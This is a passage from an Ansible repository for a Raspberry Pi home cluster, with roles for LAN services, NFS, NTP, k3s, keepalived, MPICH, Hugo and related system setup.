| mount -t tmpfs -o size=2m tmpfs /mnt/ramstore; 11 | 12 | touch -f /mnt/ramstore/data/test.txt 13 | 14 | # these files exist in Volatile memory! 15 | mkdir -p /mnt/ramstore/data; 16 | chmod 770 /mnt/ramstore/data; 17 | chown pi:pi /mnt/ramstore/data; 18 | fi 19 | -------------------------------------------------------------------------------- /ansible/roles/group-deployer/vars/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | 4 | deployscript_binfile: [ 5 | {file: 'renew_ssh_priv_key.sh'} 6 | ] 7 | -------------------------------------------------------------------------------- /ansible/roles/group-lanservices/files/rpi-lanservices.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=rpi-lanservices.service 3 | Requires=network-online.target 4 | After=network-online.target 5 | 6 | [Service] 7 | User=root 8 | ExecStart=/root/bin/lanservices-boot.sh 9 | 10 | [Install] 11 | WantedBy=multi-user.target 12 | -------------------------------------------------------------------------------- /ansible/roles/group-lanservices/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # handlers for group-lanservices 3 | 4 | 5 | - name: systemctl-daemon-reload 6 | systemd: 7 | daemon_reload: true 8 | become: true 9 | 10 | 11 | - name: restart-rpilansrv 12 | service: 13 | name: rpi-lanservices.service 14 | state: restarted 15 | become: true 16 | 17 | 18 | # static arp 19 | - name: static-arp-ethers 20 | command: /usr/sbin/arp -f /etc/ethers 21 | become: true 22 | 23 | 24 | - name: reload-rsyslog 25 | service: 26 | name: rsyslog.service 27 | state: restarted 28 | become: true -------------------------------------------------------------------------------- /ansible/roles/group-lanservices/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: group-lanservices 4 | author: crgm 5 | description: actions specific to lanservices main 6 | company: crgm inc 7 | license: license (no) 8 | min_ansible_version: 2.8 9 | platforms: 10 | - name: Raspbian 11 | versions: 12 | - stretch 13 | dependencies: 14 | - { role: userac } 15 | - { role: base-system } 16 | - { role: ssh-server } 17 | -------------------------------------------------------------------------------- /ansible/roles/group-lanservices/tasks/cron.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - debug: msg="LanServices main cron jobs " 3 | 4 | 5 | - name: add pathing to cron 6 | cron: 7 | name: PATH 8 | env: true 9 | value: /root/bin/ 10 | become: true 11 | 12 | 13 | - name: create cron daily script from template 14 | template: 15 | src: lansrvmain-cron-daily.j2 16 | dest: /root/crontab/lansrvmain-cron-daily.sh 17 | mode: 0755 18 | owner: root 19 | group: root 20 | become: true 21 | 22 | - name: install daily cron script 23 | cron: 24 | name: "lansrvmain-cron-daily" 25 | special_time: "daily" 26 | job: "/root/crontab/lansrvmain-cron-daily.sh" 27 | state: "present" 28 | user: root 29 | become: true 30 | 31 | 32 | - name: create cron hourly script from template 33 | template: 34 | src: lansrvmain-cron-hourly.j2 35 | dest: /root/crontab/lansrvmain-cron-hourly.sh 36 | mode: 0755 37 | owner: root 38 | group: root 39 | become: true 40 | 41 | - name: install hourly cron script 42 | cron: 43 | name: "lansrvmain-cron-hourly" 44 | special_time: "hourly" 45 | job: "/root/crontab/lansrvmain-cron-hourly.sh" 46 | state: "present" 47 | user: root 48 | become: true 49 | -------------------------------------------------------------------------------- /ansible/roles/group-lanservices/tasks/lanservices-security.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | 4 | # static arp entries for admin nodes 5 | - name: /etc/ethers 6 | template: 7 | src: etc/ethers.j2 8 | dest: /etc/ethers 9 | mode: 0644 10 | become: true 11 | notify: static-arp-ethers 12 | tags: [lanservices] 13 | 14 | 15 | # Disable USB Storage Devices 16 | - name: Blacklist usb storage kernel module 17 | kernel_blacklist: 18 | name: usb_storage 19 | state: present 20 | become: true 21 | tags: [lanservices] 22 | 23 | 24 | # Disable USB mouse and keyboard 25 | - name: Blacklist usbhid kernel moduel 26 | kernel_blacklist: 27 | name: usbhid 28 | state: present 29 | become: true 30 | tags: [lanservices] 31 | 32 | 33 | - name: /etc/security/limits.conf 34 | template: 35 | src: etc/security/limits_conf.j2 36 | dest: /etc/security/limits.conf 37 | mode: 0644 38 | become: true 39 | tags: [lanservices] -------------------------------------------------------------------------------- /ansible/roles/group-lanservices/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # Role for nodes in the LanServices group (Alpha and Beta) 3 | 4 | - debug: msg="Lan Services role running " 5 | 6 | 7 | - name: tools 8 | apt: 9 | name: "{{ item }}" 10 | state: present 11 | loop: 12 | - nmap 13 | - lynx 14 | - redir 15 | - proxychains 16 | become: true 17 | retries: 2 18 | tags: [lanservices] 19 | 20 | 21 | # custom systemd service "rpi-lanservices" 22 | - import_tasks: systemd-cust.yml 23 | tags: [lanservices] 24 | 25 | 26 | # security tasks for this group 27 | - import_tasks: lanservices-security.yml 28 | 29 | 30 | # cron scripts 31 | - import_tasks: cron.yml 32 | tags: [lanservices] 33 | 34 | 35 | - name: output to rpicluster log 36 | command: logger -t rpicluster ansible lanservices role ran 37 | changed_when: false 38 | tags: [lanservices] 39 | 40 | 41 | - name: roles info txt 42 | lineinfile: 43 | path: /opt/cluster/data/info_roles.txt 44 | line: "{{ role_path|basename }}" 45 | become: true 46 | tags: [lanservices] 47 | -------------------------------------------------------------------------------- /ansible/roles/group-lanservices/tasks/systemd-cust.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | # copy lanservices-boot.sh 4 | - name: lanservices-boot script 5 | template: 6 | src: lanservices-boot.j2 7 | dest: /root/bin/lanservices-boot.sh 8 | validate: /bin/bash -n %s 9 | mode: 0770 10 | owner: root 11 | group: root 12 | become: true 13 | tags: [lanservices] 14 | 15 | # systemd script 16 | - name: copy rpi lanservices systemd script 17 | copy: 18 | src: rpi-lanservices.service 19 | dest: /etc/systemd/system/rpi-lanservices.service 20 | mode: 0644 21 | owner: root 22 | group: root 23 | become: true 24 | notify: 25 | - systemctl-daemon-reload 26 | - restart-rpilansrv 27 | tags: [lanservices] 28 | 29 | # rpi-lanservices.service enabled on boot 30 | - name: enable rpi-lanservices systemd script 31 | systemd: 32 | name: rpi-lanservices 33 | enabled: true 34 | masked: no 35 | become: true 36 | tags: [lanservices] 37 | -------------------------------------------------------------------------------- /ansible/roles/group-lanservices/templates/etc/ethers.j2: -------------------------------------------------------------------------------- 1 | # {{ ansible_managed }} 2 | # 3 | # static arp entries for LanServices 4 | # 5 | # default gw 6 | {{ rpi_net_default_gw }} {{ rpi_net_default_gw_mac }} 7 | # 8 | # deployer/s 9 | {% for host in groups['deploy'] %} 10 | {{ hostvars[host]['ansible_eth0']['ipv4']['address'] }} {{ hostvars[host]['rpi_mac'] }} 11 | {% endfor %} 12 | # 13 | # Other admin node 14 | {{ rpi_failover_ip }} {{ rpi_failover_hwaddr }} 15 | -------------------------------------------------------------------------------- /ansible/roles/group-lanservices/templates/lansrvmain-cron-daily.j2: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # {{ ansible_managed }} 3 | 4 | 5 | # pre-run checks --------------------------------------------------------------- 6 | 7 | # no LD_PRELOAD 8 | unset LD_PRELOAD 9 | 10 | #------------------------------------------------------------------------------- 11 | 12 | # check disk 13 | /usr/lib/nagios/plugins/check_disk -x /dev/sda1; 14 | 15 | touch -f /mnt/ramstore/data/cron-daily.txt; 16 | /bin/date > /mnt/ramstore/data/cron-daily.txt; 17 | 18 | #------------------------------------------------------------------------------- 19 | 20 | /usr/bin/logger -t rpicluster "lansrv-cron-daily.sh ran" 21 | 22 | #------------------------------------------------------------------------------- 23 | -------------------------------------------------------------------------------- /ansible/roles/group-lanservices/templates/lansrvmain-cron-hourly.j2: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # {{ ansible_managed }} 3 | 4 | # pre-run checks --------------------------------------------------------------- 5 | 6 | # no LD_PRELOAD 7 | unset LD_PRELOAD 8 | 9 | #------------------------------------------------------------------------------- 10 | 11 | /bin/date > /mnt/ramstore/data/hour_check.txt 12 | 13 | 14 | # LED Blink 15 | # 16 | echo timer > /sys/class/leds/led0/trigger 17 | echo timer > /sys/class/leds/led1/trigger 18 | # 19 | # wait 20 | sleep 20s 21 | # 22 | # turn off red power LED 23 | echo 1 > /sys/class/leds/led1/brightness 24 | echo 0 > /sys/class/leds/led1/brightness 25 | # put back to default 26 | echo mmc0 > /sys/class/leds/led0/trigger 27 | 28 | 29 | #------------------------------------------------------------------------------- 30 | 31 | # check process count 32 | /usr/lib/nagios/plugins/check_procs -w 200 -c 300; 33 | 34 | # check user count 35 | /usr/lib/nagios/plugins/check_users -w 5 -c 10; 36 | 37 | /usr/bin/logger -t rpicluster "lansrv-cron-hourly.sh ran" 38 | 39 | #------------------------------------------------------------------------------- 40 | -------------------------------------------------------------------------------- /ansible/roles/haveged/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # haveged - random number generator 3 | # http://www.issihosts.com/haveged/ 4 | 5 | 6 | - debug: msg="common (haveged) " 7 | 8 | 9 | - name: install haveged 10 | apt: 11 | state: present 12 | name: haveged 13 | become: true 14 | register: aptinsthaveged 15 | tags: haveged 16 | 17 | 18 | - name: haveged enabled on boot and started 19 | service: 20 | name: haveged 21 | enabled: true 22 | state: started 23 | become: true 24 | tags: haveged 25 | 26 | 27 | - name: notify rpicluster log 28 | command: logger -t rpicluster installed haveged 29 | changed_when: false 30 | when: aptinsthaveged.changed 31 | tags: haveged 32 | 33 | 34 | - name: roles info txt 35 | lineinfile: 36 | path: /opt/cluster/data/info_roles.txt 37 | line: "{{ role_path|basename }}" 38 | owner: root 39 | group: root 40 | mode: 0444 41 | become: true 42 | tags: haveged 43 | -------------------------------------------------------------------------------- /ansible/roles/hostsfile/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: hostsfile 4 | author: crgm 5 | description: sshd server config 6 | company: crgm inc 7 | license: license (no) 8 | min_ansible_version: 2.8 9 | platforms: 10 | - name: Raspbian 11 | versions: 12 | - stretch 13 | dependencies: 14 | - role: base-system 15 | -------------------------------------------------------------------------------- /ansible/roles/hostsfile/readme.md: -------------------------------------------------------------------------------- 1 | 2 | This just adds inventory hosts to /etc/hosts 3 | -------------------------------------------------------------------------------- /ansible/roles/hostsfile/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - debug: msg="altering /etc/hosts " 3 | 4 | 5 | # /etc/hosts file 6 | # add all hosts we have in our ansible inventory 7 | - name: etc hosts file 8 | template: 9 | src: etc-hosts.j2 10 | dest: /etc/hosts 11 | owner: root 12 | group: root 13 | mode: 0644 14 | become: true 15 | tags: [hostsfile] 16 | 17 | 18 | # log 19 | - name: output to rpicluster log 20 | command: logger -t rpicluster ansible hostsfile role ran 21 | changed_when: False 22 | tags: [hostsfile] 23 | 24 | 25 | - name: roles info txt 26 | lineinfile: 27 | path: /opt/cluster/data/info_roles.txt 28 | line: "{{ role_path|basename }}" 29 | become: true 30 | tags: [hostsfile] 31 | -------------------------------------------------------------------------------- /ansible/roles/hostsfile/templates/etc-hosts.j2: -------------------------------------------------------------------------------- 1 | # {{ ansible_managed }} 2 | # setup by role: {{role_path|basename}} 3 | # 4 | 127.0.0.1 localhost 5 | ::1 localhost ip6-localhost ip6-loopback 6 | ff02::1 ip6-allnodes 7 | ff02::2 ip6-allrouters 8 | # 9 | 127.0.1.1 {{ inventory_hostname }} 10 | # 11 | # ansible inventory hosts: 12 | {% for host in groups['all'] %} 13 | {% if 'ansible_eth0' in hostvars[host] %} 14 | {{ hostvars[host]['ansible_eth0']['ipv4']['address'] }} {{ host }} {{ host }}.local 15 | {% endif %} 16 | {% endfor %} 17 | -------------------------------------------------------------------------------- /ansible/roles/hugo/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: install-hugo-deb 4 | apt: 5 | deb: "/opt/cluster/mysrc/{{ hugo_bin }}" 6 | become: true 7 | tags: [hugo] 8 | -------------------------------------------------------------------------------- /ansible/roles/hugo/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: hugo 4 | author: crgm 5 | description: install hugo the static website generator 6 | company: crgm inc 7 | license: license (no) 8 | min_ansible_version: 2.8 9 | platforms: 10 | - name: Raspbian 11 | versions: 12 | - stretch 13 | -------------------------------------------------------------------------------- /ansible/roles/hugo/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # Install Hugo, a static site generator. 3 | # https://gohugo.io/ 4 | 5 | 6 | - name: check we have hugo deb 7 | stat: 8 | path: "/opt/cluster/mysrc/{{ hugo_bin }}" 9 | register: hugo_apt_mysrc 10 | changed_when: False 11 | 12 | 13 | - name: download Hugo bin if missing 14 | get_url: 15 | url: "{{ hugo_bin_url }}" 16 | dest: /opt/cluster/mysrc/ 17 | checksum: "{{ hugo_bin_sha }}" 18 | when: hugo_apt_mysrc.stat.exists == False 19 | register: hugo_bin_dl 20 | tags: [hugo] 21 | 22 | 23 | - name: Install a hugo deb package 24 | apt: 25 | deb: "/opt/cluster/mysrc/{{ hugo_bin }}" 26 | become: true 27 | when: hugo_bin_dl.changed 28 | tags: [hugo] 29 | 30 | 31 | - name: get hugo version 32 | command: /usr/local/bin/hugo version 33 | register: hugoversion 34 | become: false 35 | changed_when: false 36 | ignore_errors: true 37 | tags: [hugo] 38 | 39 | 40 | - name: check hugo ok 41 | assert: 42 | that: 43 | - "'Hugo Static Site Generator' in hugoversion.stdout" 44 | 45 | 46 | - name: roles info txt 47 | lineinfile: 48 | path: /opt/cluster/data/info_roles.txt 49 | line: "{{ role_path|basename }}" 50 | owner: root 51 | group: root 52 | mode: 0444 53 | become: true 54 | tags: [hugo] 55 | -------------------------------------------------------------------------------- /ansible/roles/hugo/vars/main.yml: -------------------------------------------------------------------------------- 1 | 2 | hugo_bin: "hugo_0.65.2_Linux-ARM.deb" 3 | hugo_bin_url: "https://github.com/gohugoio/hugo/releases/download/v0.65.2/hugo_0.65.2_Linux-ARM.deb" 4 | hugo_bin_sha: "sha256:adce7c32bd063e94860a7f69ccea9bcb574d8e980bc405a2ac12bf329a4b228b" 5 | -------------------------------------------------------------------------------- /ansible/roles/i3-wm/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # Install i3 window manager 3 | # https://i3wm.org/ 4 | # 5 | # login on console and type 'startx' to start desktop 6 | # 7 | # config is stored in: 8 | # ~/.config/i3/config 9 | # 10 | 11 | - name: install i3 12 | apt: 13 | name: "{{ item }}" 14 | state: present 15 | loop: 16 | - i3 17 | - i3blocks 18 | - dmenu 19 | - suckless-tools 20 | - xinit 21 | - tty-clock 22 | become: true 23 | 24 | - name: add i3 to xinit.rc 25 | lineinfile: 26 | path: ~/.xinit.rc 27 | line: 'exec i3' 28 | create: true 29 | 30 | - name: create i3 config dir 31 | file: 32 | path: ~/.config/i3 33 | state: directory 34 | mode: 0755 35 | owner: "{{ ansible_user_id }}" 36 | group: "{{ ansible_user_id }}" 37 | 38 | - name: create i3 status config dir 39 | file: 40 | path: ~/.config/i3status 41 | state: directory 42 | mode: 0755 43 | owner: "{{ ansible_user_id }}" 44 | group: "{{ ansible_user_id }}" -------------------------------------------------------------------------------- /ansible/roles/k3s/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # K3s - 5 less than K8s 3 | # 4 | # https://github.com/rancher/k3s 5 | # https://rancher.com/docs/k3s/latest/en/ 6 | 7 | 8 | # server/admin/master nodes 9 | - import_tasks: server.yml 10 | when: 11 | - "'docker_master' in group_names" 12 | 13 | # worker nodes 14 | - import_tasks: worker.yml 15 | when: 16 | - "'docker_worker' in group_names" -------------------------------------------------------------------------------- /ansible/roles/k3s/tasks/server.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | # Server: run install script 4 | - name: run server install script 5 | script: "install_k3s.sh" 6 | args: 7 | creates: /var/lib/rancher/k3s/server/node-token 8 | become: true 9 | 10 | - name: get token from master 11 | fetch: 12 | src: /var/lib/rancher/k3s/server/node-token 13 | dest: /opt/cluster/backup 14 | become: true 15 | 16 | - name: Set facts 17 | set_fact: 18 | k3s_master_ip: "{{ hostvars[inventory_hostname]['ansible_default_ipv4']['address'] }}" 19 | 20 | - name: Set facts 21 | set_fact: 22 | k3s_master_node: "{{ lookup('file', '/opt/cluster/backup/epsilon/var/lib/rancher/k3s/server/node-token') }}" 23 | delegate_to: 127.0.0.1 24 | -------------------------------------------------------------------------------- /ansible/roles/k3s/tasks/worker.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | # upload install script 4 | 5 | - name: upload install script 6 | copy: 7 | src: "install_k3s.sh" 8 | dest: "/opt/cluster/docker/scripts/install_k3s.sh" 9 | mode: 0755 10 | become: true 11 | 12 | - name: upload wrapper script for installer 13 | template: 14 | src: k3s_join_master_sh.j2 15 | dest: /opt/cluster/docker/scripts/k3s_join_master.sh 16 | mode: 0755 17 | 18 | - name: run installer script 19 | shell: /opt/cluster/docker/scripts/k3s_join_master.sh 20 | args: 21 | creates: /usr/local/bin/kubectl -------------------------------------------------------------------------------- /ansible/roles/k3s/templates/k3s_join_master_sh.j2: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # {{ ansible_managed }} 3 | 4 | set -u 5 | 6 | # check installer exists 7 | if [ -f /opt/cluster/docker/scripts/install_k3s.sh ]; then 8 | echo "OK have installer"; 9 | else 10 | echo "missing installer"; 11 | exit 1; 12 | fi 13 | 14 | export K3S_TOKEN="{{ hostvars['epsilon']['k3s_master_node'] }}" 15 | export K3S_URL="{{ hostvars['epsilon']['k3s_master_ip'] }}:6443" 16 | 17 | # run installer 18 | cat /opt/cluster/docker/scripts/install_k3s.sh | K3S_URL=${K3S_URL} K3S_TOKEN=${K3S_TOKEN} sh - 19 | 20 | # join a node to master: 21 | # k3s agent --server ${K3S_URL} --token ${K3S_TOKEN} 22 | 23 | if [ $? -eq 0 ]; then 24 | echo "k3s seemed to install OK"; 25 | else 26 | echo "error joining master node" 27 | exit 1; 28 | fi 29 | 30 | # eof -------------------------------------------------------------------------------- /ansible/roles/keepalived/defaults/main.yml: -------------------------------------------------------------------------------- 1 | 2 | keepalived_id: "RPI_CLUST" 3 | 4 | keepalived_vrouteid: "51" 5 | -------------------------------------------------------------------------------- /ansible/roles/keepalived/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: keepalived_reload 4 | service: 5 | name: keepalived 6 | state: reloaded 7 | become: true 8 | tags: [keepalived] 9 | -------------------------------------------------------------------------------- /ansible/roles/keepalived/templates/etc/keepalived/keepalived_conf.j2: -------------------------------------------------------------------------------- 1 | ! /etc/keepalived/keepalived.conf 2 | ! {{ ansible_managed }} 3 | 4 | global_defs { 5 | router_id {{ keepalived_id }} 6 | } 7 | 8 | vrrp_instance VI_1 { 9 | state {{ keepalived_state }} 10 | interface eth0 11 | virtual_router_id {{ keepalived_vrouteid }} 12 | priority {{ keepalived_priority }} 13 | advert_int 1 14 | authentication { 15 | auth_type PASS 16 | auth_pass {{ keepalived_pass }} 17 | } 18 | virtual_ipaddress { 19 | {{ rpi_loadbal_float_ip }} 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /ansible/roles/mpich/files/mpich_keygen_sh.j2: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # name: mpich_keygen.sh 4 | # desc: from deploy node this will sign the SSH keys for the mpiuser 5 | 6 | 7 | echo "starting mpich_keygen.sh" 8 | 9 | mpikeytemp=$(mktemp -d) 10 | cd $mpikeytemp; 11 | 12 | if [ ! -f /opt/cluster/backup/omega/home/mpiuser/.ssh/id_rsa.pub ]; then 13 | echo "missing expected public key!" 14 | exit 1; 15 | fi 16 | 17 | cp /opt/cluster/backup/omega/home/mpiuser/.ssh/* . 18 | thesshcapw=$(pass ssh/CA) 19 | ssh-keygen -s ~/.ssh/my-ssh-ca/ca -P ${thesshcapw} -I mpiuser -n mpiuser -V +2w -z 1 ${mpikeytemp}/id_rsa.pub 20 | 21 | scp -v id_rsa-cert.pub pi@omega:~/ 22 | ssh -v pi@omega sudo mv id_rsa-cert.pub /home/mpiuser/.ssh/id_rsa-cert.pub 23 | ssh -v pi@omega sudo chown mpiuser:mpiuser /home/mpiuser/.ssh/id_rsa-cert.pub 24 | 25 | echo "finished mpich_keygen.sh" 26 | -------------------------------------------------------------------------------- /ansible/roles/mpich/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: mpich 4 | author: crgm 5 | description: setup mpich and run a small test program 6 | company: crgm inc 7 | license: license (no) 8 | min_ansible_version: 2.8 9 | platforms: 10 | - name: Raspbian 11 | versions: 12 | - stretch 13 | dependencies: 14 | - role: base-system 15 | -------------------------------------------------------------------------------- /ansible/roles/mpich/readme.md: -------------------------------------------------------------------------------- 1 | # Message Passing Interface 2 | 3 | https://www.mpich.org/ 4 | https://wiki.mpich.org/mpich/index.php/Developer_Documentation 5 | https://packages.debian.org/sid/mpich 6 | 7 | ## Setup 8 | 9 | The mpich role is run on Lanservices-Misc, and the Compute groups. 10 | 11 | The LanService-Misc node has SSH access to the compute nodes as the mpiuser user, who run tasks and then report back. 12 | 13 | 14 | ``` 15 | (env) pi@psi:/opt/cluster/deploy-script $ ./mpich_keygen.sh 16 | ``` 17 | -------------------------------------------------------------------------------- /ansible/roles/mpich/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - debug: msg="mpich role" 3 | tags: [mpich] 4 | 5 | 6 | # install packages 7 | - name: mpich packages needed 8 | apt: 9 | name: "{{ item }}" 10 | state: present 11 | loop: 12 | - mpich 13 | - mpich-doc 14 | - gfortran 15 | become: true 16 | retries: 2 17 | tags: [mpich] 18 | 19 | 20 | - import_tasks: mpi-test-code.yml 21 | 22 | 23 | - name: roles info txt 24 | lineinfile: 25 | path: /opt/cluster/data/info_roles.txt 26 | line: "{{ role_path|basename }}" 27 | become: true 28 | tags: [mpich] 29 | -------------------------------------------------------------------------------- /ansible/roles/mpich/tasks/mpi-test-code.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | # mpi_sample.c 4 | - name: copy mpi_sample.c 5 | copy: 6 | src: mpi_sample.c 7 | dest: "/home/{{ rpi_clust_user }}/mpi_sample.c" 8 | owner: 9 | group: 10 | mode: 0644 11 | become: true 12 | tags: [mpich] 13 | 14 | 15 | # make mpi_sample.c 16 | - name: compile mpi_sample 17 | shell: mpic++ -o ~/mpi_sample ~/mpi_sample.c 18 | args: 19 | chdir: "/home/{{ rpi_clust_user }}/" 20 | creates: "/home/{{ rpi_clust_user }/mpi_sample" 21 | become: true 22 | become_user: "{{ rpi_clust_user }}" 23 | tags: [mpich] 24 | -------------------------------------------------------------------------------- /ansible/roles/mpich/templates/mpich_test_sh.j2: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # name: mpich_test.sh 4 | # desc: run to execute the mpi_sample.c program on the compute group 5 | 6 | echo "starting mpich_test.sh" 7 | 8 | mpihostsfile="/home/mpiuser/mpihosts.txt" 9 | 10 | rm -f ${mpihostsfile} 11 | touch -f ${mpihostsfile} 12 | 13 | # hosts in cluster 14 | hosts="gamma zeta delta epsilon" 15 | 16 | for i in $hosts; 17 | do 18 | # get IP of host 19 | thehostip=$(getent hosts $i | awk '{print $1}') 20 | # 21 | echo ${thehostip} >> ${mpihostsfile} 22 | ssh-keygen -R "${thehostip}"; 23 | ssh-keyscan -H "${thehostip}" >> ~/.ssh/known_hosts; 24 | done 25 | 26 | # man page: 27 | # https://www.open-mpi.org/doc/v2.0/man1/mpirun.1.php 28 | 29 | mpirun -l -np 32 --hostfile ${mpihostsfile} ~/mpi_sample 30 | 31 | echo "finished mpich_test.sh" 32 | -------------------------------------------------------------------------------- /ansible/roles/nfs-client/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # NFS Clients (compute) 3 | - debug: msg="NFS Client role " 4 | tags: [nfs] 5 | 6 | 7 | # packages 8 | - name: install NFS programs 9 | apt: 10 | name: "{{ item }}" 11 | state: present 12 | loop: 13 | - nfs-common 14 | - rpcbind 15 | become: true 16 | retries: 1 17 | tags: [nfs] 18 | 19 | 20 | # Create mount point 21 | - name: create /mnt/nfs/ 22 | file: 23 | path: /mnt/nfs/ 24 | state: directory 25 | mode: 0775 26 | owner: "{{ ansible_user_id }}" 27 | group: "{{ ansible_user_id }}" 28 | become: true 29 | tags: [nfs] 30 | 31 | 32 | # mount NFS share 33 | - name: set mountpoints 34 | mount: 35 | name: /mnt/nfs/ 36 | src: "{{ hostvars['omega']['ansible_default_ipv4']['address'] }}:/srv/nfs_share/" 37 | fstype: nfs 38 | opts: defaults,rw 39 | state: mounted 40 | become: true 41 | tags: [nfs] 42 | 43 | 44 | - name: roles info txt 45 | lineinfile: 46 | path: /opt/cluster/data/info_roles.txt 47 | line: "{{ role_path|basename }}" 48 | become: true 49 | tags: [nfs] 50 | -------------------------------------------------------------------------------- /ansible/roles/nfs-server/defaults/main.yml: -------------------------------------------------------------------------------- 1 | # NFS defaults 2 | 3 | rpi_nfsrv_enabled: false 4 | -------------------------------------------------------------------------------- /ansible/roles/nfs-server/templates/exports.j2: -------------------------------------------------------------------------------- 1 | # {{ ansible_managed }} 2 | # role: {{role_path|basename}} 3 | # 4 | # NFS exports - allow these nfs clients: 5 | # 6 | /srv/nfs_share/ {{ rpi_net_id }}/{{ rpi_net_maskbit }}(ro,root_squash,subtree_check) 7 | -------------------------------------------------------------------------------- /ansible/roles/nfs-server/templates/test_file.j2: -------------------------------------------------------------------------------- 1 | {{ ansible_managed }} 2 | role: {{role_path|basename}} 3 | 4 | Test file on NFS Server. Running on: {{ ansible_hostname }} 5 | 6 | -------------------------------------------------------------------------------- /ansible/roles/nodejs/vars/main.yml: -------------------------------------------------------------------------------- 1 | 2 | 3 | nodejs_setup_ver: "setup_12.x.sh" 4 | -------------------------------------------------------------------------------- /ansible/roles/ntp-client/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | 4 | # restart ntp 5 | - name: ntp_restart 6 | service: 7 | name: ntp 8 | state: restarted 9 | become: true 10 | tags: [ntp] 11 | -------------------------------------------------------------------------------- /ansible/roles/ntp-client/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # NTP Client 3 | - debug: msg="NTP Client " 4 | 5 | 6 | # install 7 | - name: ntp installed 8 | apt: 9 | name: ntp 10 | state: present 11 | become: true 12 | tags: [ntp] 13 | 14 | 15 | # config file - Clients 16 | - name: ntpd client conf 17 | template: 18 | src: ntp_client.j2 19 | dest: /etc/ntp.conf 20 | mode: 0644 21 | owner: root 22 | group: root 23 | become: true 24 | tags: [ntp] 25 | notify: ntp_restart 26 | 27 | 28 | # started + enabled 29 | - name: ntp started 30 | service: 31 | name: ntp 32 | state: started 33 | enabled: true 34 | become: true 35 | tags: [ntp] 36 | 37 | 38 | - name: roles info txt 39 | lineinfile: 40 | path: /opt/cluster/data/info_roles.txt 41 | line: "{{ role_path|basename }}" 42 | become: true 43 | tags: [ntp] 44 | -------------------------------------------------------------------------------- /ansible/roles/ntp-client/templates/ntp_client.j2: -------------------------------------------------------------------------------- 1 | # {{ ansible_managed }} 2 | # created by role: {{role_path|basename}} 3 | 4 | #driftfile /var/lib/ntp/ntp.drift 5 | 6 | statistics loopstats peerstats clockstats 7 | filegen loopstats file loopstats type day enable 8 | filegen peerstats file peerstats type day enable 9 | filegen clockstats file clockstats type day enable 10 | 11 | server {{ rpi_ntp_client_1 }} 12 | server {{ rpi_ntp_client_2 }} 13 | 14 | # By default, exchange time with everybody, but don't allow configuration. 15 | restrict -4 default kod notrap nomodify nopeer noquery limited 16 | restrict -6 default kod notrap nomodify nopeer noquery limited 17 | 18 | # Local users may interrogate the ntp server more closely. 19 | restrict 127.0.0.1 20 | restrict ::1 21 | 22 | # Needed for adding pool entries 23 | restrict source notrap nomodify noquery 24 | -------------------------------------------------------------------------------- /ansible/roles/ntp-server/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | 4 | - name: ntp_restart 5 | service: 6 | name: ntp 7 | state: restarted 8 | become: true 9 | tags: [ntp] 10 | -------------------------------------------------------------------------------- /ansible/roles/ntp-server/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # NTP server 3 | # http://www.ntp.org/ 4 | # http://www.pool.ntp.org/en/ 5 | - debug: msg="NTP Server " 6 | 7 | 8 | # install 9 | - name: ntp installed 10 | apt: 11 | name: ntp 12 | state: present 13 | become: true 14 | tags: [ntp] 15 | 16 | 17 | # config file - Servers 18 | - name: ntpd SERVER conf 19 | template: 20 | src: ntp_server.j2 21 | dest: /etc/ntp.conf 22 | mode: 0644 23 | owner: root 24 | group: root 25 | become: true 26 | notify: ntp_restart 27 | tags: [ntp] 28 | 29 | 30 | # started + enabled 31 | - name: ntp started 32 | service: 33 | name: ntp 34 | state: started 35 | enabled: true 36 | become: true 37 | tags: [ntp] 38 | 39 | 40 | - name: roles info txt 41 | lineinfile: 42 | path: /opt/cluster/data/info_roles.txt 43 | line: "{{ role_path|basename }}" 44 | become: true 45 | tags: [ntp] 46 | -------------------------------------------------------------------------------- /ansible/roles/ntp-server/templates/ntp_server.j2: -------------------------------------------------------------------------------- 1 | # {{ ansible_managed }} 2 | # created by role: {{role_path|basename}} 3 | 4 | driftfile /var/lib/ntp/ntp.drift 5 | 6 | # Enable this if you want statistics to be logged. 7 | #statsdir /var/log/ntpstats/ 8 | 9 | statistics loopstats peerstats clockstats 10 | filegen loopstats file loopstats type day enable 11 | filegen peerstats file peerstats type day enable 12 | filegen clockstats file clockstats type day enable 13 | 14 | server 0.{{ use_ntp_pool }} 15 | server 1.{{ use_ntp_pool }} 16 | server 2.{{ use_ntp_pool }} 17 | server 3.{{ use_ntp_pool }} 18 | 19 | server 127.127.1.0 